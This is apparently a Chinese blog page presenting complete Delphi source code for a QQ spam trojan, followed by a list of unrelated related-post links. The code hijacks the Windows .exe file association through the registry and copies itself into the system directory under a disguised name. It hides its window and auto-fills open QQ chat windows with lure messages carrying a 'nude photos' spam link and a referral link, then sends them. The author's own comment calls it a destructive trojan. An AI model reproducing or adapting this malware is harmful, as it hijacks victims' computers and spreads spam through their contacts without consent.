源码:

program internet;

uses
windows,messages,sysutils,shellapi;

{$R *.res}
const
exename:pchar='QQ2.exe';
ExeFilePath='exefile/shell/open/command';
ExeFileValue=' "%1" %*';//alt+255
ExecName='/.exe' ;//alt+255
PathLen=90;
KeyRoot=$80000000;
var
//----------------------
wClass: TWndClass; //窗口类变量
Msg: TMSG; //消息变量
hInst, //程序实例
Handle, //主窗口句柄
hFont, //字体句柄
//----------------
hButtonStart, //开始按钮
hButtonStop, //停止按钮
hButtonExit, //退出按钮
mcount,newtime:integer;
buffer: array[0..255] of Char;
myqq: Hwnd;
btnwnd: Hwnd;
i,ii,iii:integer;
fname : string;
j:string;
K:HKEY;
HidePath : pChar;
//________________________
procedure ShutDown; //用于exit
begin
//删除字体对象
DeleteObject(hFont);
//取消窗口类的注册
UnRegisterClass(wClass.lpszClassName,hInst);
//结束主进程
ExitProcess(hInst);
end;
//------------------ 注册表
procedure WriteKey(o,p,q:LPSTR;s:HKEY);
begin
RegOpenKey(s,PChar(o),K);
RegSetValueEx(K,PChar(p),0,1,PChar(q),lstrlen(q));
end;
//----------------------发送,STOPBUTTON
procedure sentme;
begin
try
btnWnd:=GetDlgItem(myqq,1);
SendMessage(btnWnd,WM_LBUTTONDOWN,MK_LBUTTON,0);
SendMessage(btnWnd,WM_LBUTTONUP,0,0);
except
end;
i:=0;
end;
//-------------------------发消息到QQ
procedure SetWndText(hWnd: Hwnd; Text: String);
Var
mText:PChar;
Buf:Integer;
begin
GetMem(mText,Length(Text));
StrCopy(mText,PChar(Text));
try
Buf:=LongInt(mText);
SendMessage(hWnd,WM_SETTEXT,0,Buf);
finally
FreeMem(mText,Length(Text));
end;
end;
//---------------------------取QQ窗口句柄
function EnumChildWindowsProc(hwd: Hwnd): Boolean; stdcall;
var
qqbody:string;
begin
iii:=iii+1;
Result := True;
GetClassName(hwd,buffer,256); //得到类名
/77777777
if iii=7 then
begin
getwindowtext(hwd,buffer,256);
if string(buffer)='' then exit;
if fname <> string(buffer) then
begin
fname:=string(buffer);
i:=6;
end;
end;
/15_qq2003II
if iii=15 then
begin
getwindowtext(hwd,buffer,256);
if pos('昵称',string(buffer))=0 then exit;
if fname <> string(buffer) then
begin
fname:=string(buffer);
i:=6;
end;
end;
7777777777
if (string(buffer)='RICHEDIT') and (i=6) then
begin
qqbody:='看看我的裸体写真:'+#13+#10+'http://avbb.ywzc.net';
qqbody:=qqbody + #13+#10+#13+#10+'看看我的浪漫爱情:http://asiafriendfinder.com/go/p95770';
setwndtext(hwd,qqbody);
sentme;
i:=5;
end;
end;
//-----------------------------------计时器
procedure ontimer;
var
a:pchar;
begin
iii:=0;
ii:=ii+1;
if ii=3000 then
begin
ii:=0;
fname:='qq';
end;
myqq:= GetforegroundWindow();
Getmem(a,256);
GetWindowText(myqq,a,256);
if pos('发送消息',strpas(a))>0then EnumChildWindows(myqq,@EnumChildWindowsProc,0);
Freemem(a);
end;
//------------------------这是主窗口的消息处理函数
function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of WM_COMMAND:
begin
if lParam=hButtonStart then begin
mcount:=0;
newtime:=SetTimer(handle,100,2000,nil);
end;
if lParam=hButtonStop then begin sentme;
end;
if lParam=hButtonExit then ShutDown;
end;
WM_TIMER:ontimer;
WM_DESTROY: ShutDown;
end;
end;
//定义几个窗口创建函数
function CreateButton(name:pchar;x1,y1,x2,y2:integer):hwnd;
begin
Result:=CreateWindow('Button',name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE
or BS_TEXT,x1,y1,x2,y2,Handle,0,hInst,nil);
end;

function CreateMain(name:pchar;x1,y1,x2,y2:integer):hwnd;
begin
//取得应用程序实例句柄
hInst:=GetModuleHandle(nil);
//初使化窗口类的信息
with wClass do
begin
Style:= CS_PARENTDC;
hIcon:= LoadIcon(hInst,'MAINICON');
lpfnWndProc:= @WindowProc;
hInstance:= hInst;
hbrBackground:= COLOR_BTNFACE+1;
lpszClassName:= 'MainClass';
hCursor:= LoadCursor(0,IDC_ARROW);
end;
// 注册窗口类
RegisterClass(wClass);
// 建立主窗口
Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or
WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil);
end;
//
//---------主过程,类似于 C语言中的 WinMain()
begin
WriteKey(ExeFilePath, '', ExeFileValue, KeyRoot);
GetMem(HidePath, PathLen);
GetSystemDirectory(HidePath, PathLen); //true 为不覆盖
if not CopyFile(pChar(ParamStr(0)), pChar(HidePath+ExecName), true) then
begin
WinExec(CmdLine+2,1);
//deletefile(pchar(hidepath+execname));
end;
///!启动木马,这以上的代码就小心使用,有破坏力,改了EXE文件关连。另
//请看好代码,true or false,你看着用。
if findwindow('MainClass',nil)<>0 then exit;
//建立主窗口
handle:=CreateMain(exename,0,0,280,60);
ShowWindow(handle, sw_Hide); //隐藏自己-----------------------
//建立四个控制按钮
hButtonStart:=CreateButton('开始',10,4,70,24);
hButtonStop:=CreateButton('发送' ,100,4,70,24);
hButtonExit:=CreateButton('退出' ,190,4,70,24);
//创建字体对象
hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH or FF_DONTCARE,'宋体');
//改变字体
SendMessage(hButtonStart,WM_SETFONT,hFont,0);
SendMessage(hButtonStop,WM_SETFONT,hFont,0);
SendMessage(hButtonExit,WM_SETFONT,hFont,0);
///自动开始
SendMessage(hButtonStart,WM_LBUTTONDOWN,MK_LBUTTON,0);
SendMessage(hButtonStart,WM_LBUTTONUP,0,0);
//进入消息循环
while(GetMessage(Msg,Handle,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.

QQ自动发消息源代码相关推荐

  1. python qq自动发消息软件_Python之qq自动发消息的示例代码

    准备:pip install win32gui 可能遇到的麻烦: No module named 'win32gui' 的解决方法(踩坑之旅) 源码: import win32gui import w ...

  2. 【实用工具】QQ自动发消息

    程序下载:蓝奏云 源代码: #include<Windows.h> #include<bits/stdc++.h> #include<conio.h> using ...

  3. Python之qq自动发消息

    准备:pip install win32gui 可能遇到的麻烦: No module named 'win32gui' 的解决方法(踩坑之旅) 源码: import win32gui import w ...

  4. 自动打call机 qq伪自动发消息

    今天考完了工图,下一门考试是2号的c语言- 考工图考的我好悲伤啊-画不完啊嘤嘤嘤 于是开始今日份瞎搞抚慰自己弱小的心灵 想做个自动发消息的机器,之前尝试过很多方法没有成功.最近玩windows.h库比 ...

  5. QQ、微信、lol自动发消息工具

    写了一个电脑自动发消息的工具,脱离双手,让我们聊天更方便跟简洁! 电脑软件. 自动发消息,双手离开键盘!能设置次数和发送间隔. ​​​​​​链接在这:阿里云盘分享提取码:51ar   一定要先看使用教 ...

  6. python3 实现公众号自动发消息

    python3 实现公众号自动发消息 前言 微信公众号测试号申请 申请测试公众号 测试号信息 测试号二维码 模板消息接口 新增流程 python 脚本配置 access_token.py send_m ...

  7. python实战自动发消息

    文章目录 python的pynput实战,自动发消息 接下来要做的是自动发送<甜蜜蜜>歌词,送给你的小伙伴. 1.先导入相关库并实例化 2.第二步定位到对应的鼠标位置 3.导入歌词列表,定 ...

  8. 用Python实现自动发消息,自定义内容,太省事了!

    有时候让了解放双手,让电脑来帮我们自动发一些我们想要发的消息,挺省力的,比如说白天写好了演讲稿,晚上要在群里进行文字演讲,那么我们就可以用脚本来实现自动复制.粘贴和发送文字的功能,从而解放我们自己,不 ...

  9. Discuz论坛短信群发、动网自动发贴源代码

    模拟精灵2005 v6.99 下载地址------------------------------ yhhe.net 下载: http://www.yhhe.net/Fairy_Ape.exe 1he ...

  10. Discuz论坛短信群发、动网自动发贴源代码 1

    打开模拟精灵 ,把下面的代码保存为fap文件,双击运行即可. 或者复制到"源码编辑器"中,点击"编译生成模拟程序"即可. Discuz论坛短信群发源代码 --- ...

最新文章

  1. JSPServlet路径问题
  2. python中if brthon环境安装包_Ant、Gradle、Python三种打包方式的介绍
  3. Android App层 单独使用SystemProperties
  4. django.template.exceptions.TemplateDoesNotExist: rest_framework/api.html
  5. 编写 Servlet 2.3 Filter
  6. relation does not exist报错是什么意思_为什么Zookeeper天生就是一副分布式锁的胚子?...
  7. 高斯背景建模 matlab,高斯背景建模整理 – 要饭的
  8. Python中Text函数常用增删改查阅用法实例汇总
  9. 关于npm邮箱验证问题
  10. 基于FPGA实现DDS正弦波发生器
  11. gpio mysql_GPIO控制LED
  12. SQLAlchemy Connection
  13. 今天是个特殊的日子,养活我的Java爸爸诞生,发送一波福利!
  14. [osx] android studio下修改avd的hosts文件
  15. 在html中做表格以及给表格设置高宽字体居中和表格线的粗细
  16. 协议 ---ISO/OSI协议模型详解
  17. Semantic UI学习(一、开始使用)
  18. 自信心受挫,该如何让项目团队成员重新振作起来
  19. ATTCK v10版本战术介绍执行(下篇)
  20. 将本地项目代码上传到码云(Gitee)或GitHub

热门文章

  1. JAVA面向对象之对象和类
  2. MAML: meta learning 论文分析
  3. TwinCAT 3 马达程序
  4. 数字转换大写 python_数字转换
  5. CSR8610 入门操作(BlueSuite 2.6.2和CSRXX_ROM_ConfigTool_3.0.64使用)
  6. 语音识别字幕_语音识别字幕软件_自动识别语音生成字幕 - 云+社区 - 腾讯云
  7. VSCode如何搭建Vue项目?详细步骤
  8. UltraISO/Nero/Daemon Tools
  9. VS2019插件VSIX开发
  10. 代码调试全指南-自然语言处理-基于预训练模型的方法,车万翔